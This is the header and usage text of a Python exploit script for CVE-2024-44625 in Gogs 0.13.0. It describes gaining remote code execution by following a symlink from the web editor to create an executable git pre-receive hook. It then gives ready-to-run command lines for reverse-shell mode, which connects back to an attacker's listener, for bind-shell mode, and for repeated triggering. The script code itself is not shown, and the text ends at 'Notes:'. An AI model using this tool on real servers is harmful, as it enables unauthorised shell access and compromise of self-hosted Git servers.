
Exploit for CVE-2024-44625 in Gogs 0.13.0, achieving remote code execution via symlink-follow to create a git hook, with reverse and bind shell modes.
Validated against a 0.13.0-era Gogs behind a reverse proxy. Primitive: web editor symlink-follow to an ABSENT .git/hooks/pre-receive creates that file (executable). Every subsequent push to the repo runs it.
Usage:
python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
--mode reverse --lhost <YOUR_IP> --lport 4444
python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
--mode bind --bind-port 5555
python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
--mode reverse --lhost IP --lport 4444 --repo <name> --reuse --triggers 3
Notes: